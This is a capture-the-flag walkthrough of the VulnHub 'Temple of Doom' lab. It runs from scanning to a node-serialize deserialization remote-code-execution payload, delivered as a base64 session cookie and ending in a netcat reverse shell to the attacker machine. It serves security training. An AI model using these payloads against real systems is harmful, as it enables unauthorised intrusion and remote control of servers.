Capture the flag (CTF)

Temple of Doom: CTF Walkthrough Part 1

In this article, we will solve a Capture the Flag (CTF) challenge which was posted on VulnHub by "0katz."

As you know from the previous articles in this series, VulnHub is a platform which provides vulnerable applications/machines to gain practical hands-on experience in the field of information security. You can check my previous articles for more CTF challenges. I have also provided a downloadable URL for this CTF here, so you can download the machine and run it on VirtualBox.

What should you learn next?

From SOC Analyst to Secure Coder to Security Manager — our team of experts has 12 free training plans to help you hit your goals. Get your free copy now.

Get Your Plan

The torrent downloadable URL is also available for this VM, which have been added in the reference section of this article.

Please Note: For all of these machines, I used Oracle Virtual Box to run the downloaded machine. I will be using Kali Linux as an attacker machine for solving this CTF. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets.

In this walkthrough, we don't need to run the Netdiscover command to identify the target machine IP address. This is because when we run the downloaded virtual machine in the Oracle Virtual Box, it automatically assigns the IP address form DHCP and shows it on the terminal. This can be seen in the following screenshot.

Temple of Doom Walkthrough, Part 1

So we have found the target machine IP address, which is 192.168.1.9. We will be using 192.168.1.45 as an attacker machine in which we have installed Kali Linux.

Note: These IP addresses may be different as per your network configuration, as these are assigned by the DHCP.

Let's move to the next step which is port scanning. I am using Nmap, which is the best tool for port scanning. The completed output of the Nmap result can be seen in the following screenshot.

Command Used: nmap -p- -Pn 192.168.1.9

Explanation:

• -p- option is used for complete port scan
• -Pn option is used for no-ping scan
• -sV option is used for service detection

As observed in above screenshot, two ports were identified as open. And as we already know from our previous CTF-solving experience that we can't find any interesting information service with the SSH port, I decided to start with the HTTP port. Here, the HTTP service is running on Port 666. Let's open it into the browser.

As can be seen in the above screenshot, it shows an under-construction page. Now, for exploring further, it's time to run the dirb tool to identify other entry points on the target machine. The output of dirb can be seen in the screenshot given below.

Command Used:

dirb http://192.168.1.9:666/

As we can see in the above screenshot, dirb does not give any result which could be further explored. This is very strange, because we always get something with the dirb tool.

Now, we have another tool to search for weakness in the target system. That is Nikto Scan. Let's run this scan and see what we get.

Command Used:

nikto --host http://192.168.1.9:666/

We did not find anything useful from the Nikto scan also. This is a little suspicious.

As all the exploration techniques we have tried are not providing any useful data, let's check the under-construction web page on the target machine for any hidden clues. While checking this page with the Burp Suite proxy, it was observed that a session cookie is being sent in the response from the server end. It can be seen in the below screenshot.

You can see a session cookie in the server response in the highlighted area.

When I closely look at it, its looks like an URL encoding string, as it has the '%3d' characters at the end of the string. I used Burp Decoder to decode the cookie value. After the URL decoding of the string, we need to decode it one more time with base64 decoding to view the actual data in the cookie. It can be seen in the following screenshot.

After decoding the session cookie, we have identified that the username csrftoken and expires parameter is being passed in the session cookie. So, I created another GET request with the above session cookie and sent it to the server through Burp Repeater. It returned a 500 error code with some informational error messages that can be seen in the screenshot given below.

From the error messages in the above screenshot, we get some clue that Nodeadmin and Node-Serialize are being used on the target application.

After playing with the session cookie, I identified that CSRF token and the "expire" parameter in the session cookie are not playing any role in the session. So, I used the simple username "admin" and encode it into base64 by using Burp Decoder and pass it in the cookie on the repeater. We received the output "Hello Admin" from the server.

We already know from the error message that "Node-Serialize" is being used in the target application. So I searched for "Node-Serialize" vulnerabilities on Google, and the very first result shows that it is vulnerable to Remote Code Execution (RCE). It can be seen in the below screenshot.

We have found the Remote Code Execution (RCE) vulnerability. Let us see if we could use this exploit in our scenario to get the access of our target machine. After getting the information about the vulnerability and the exploit from google, I was able to create a payload which could be used to exploit the vulnerability.

Payload:

{"username":"_$$ND_FUNC$$_function(){return require('child_process').execSync('ls -l /',(e,out,err)=>{console.log(out);}); }()"}

In the highlighted area we can see the command which we wanted to execute on the target machine. As the application is using a base64-encoded cookie, we need to convert our payload into base64 encoding. This can be easily done with the Burp Suite Decoder. It can also be seen in the following screenshot.

The Final Base 64 encoded payload is given below.

eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbigpe3JldHVybiByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlY1N5bmMoJ2xzIC1sIC8nLChlLG91dCxlcnIpPT57Y29uc29sZS5sb2cob3V0KTt9KTsgfSgpIn0=

Now let's add this payload in the cookie and hit it by using the Burp Suite Repeater. The server response can be seen in the following screenshot.

Through the above payload, we are successfully able to execute the command on the target system. So now let's take the reverse shell of the target machine. We would be using the Netcat utility to take the reverse shell.

At first, let's verify whether the target machine has the Netcat installed. We can verify this by running the nc –help command. If the Netcat utility is available on the target machine, it would give the help command output; otherwise, a blank page would be returned from the server.

Payload Used :

eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbigpe3JldHVybiByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlY1N5bmMoJ25jIC0taGVscCcsKGUsb3V0LGVycik9Pntjb25zb2xlLmxvZyhvdXQpO30pOyB9KCkifQ==

As can be seen in the above screenshot, we got the help command details in the server response. It confirms that Netcat can be used for taking the reverse shell. So let's create a payload to take the reverse shell of the target system.

Payload Used:

eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbigpe3JldHVybiByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlY1N5bmMoJ25jIDE5Mi4xNjguMS40NSA0NDQ0IC1lIC9iaW4vc2gnLChlLG91dCxlcnIpPT57Y29uc29sZS5sb2cob3V0KTt9KTsgfSgpIn0=

As can be seen in the above screenshot, we have received the shell of the target machine, but this is not the root of the system. The challenge is to gain root access of the target machine. To complete the CTF, we need to escalate to the root.

We will be learning this in the next part of this CTF. Until then, you can try from your end and see what you come up with. If you have any doubts or queries related to this CTF, kindly leave them in the comments.

What should you learn next?

From SOC Analyst to Secure Coder to Security Manager — our team of experts has 12 free training plans to help you hit your goals. Get your free copy now.

Get Your Plan

Sources

Temple of Doom: 1, VulnHub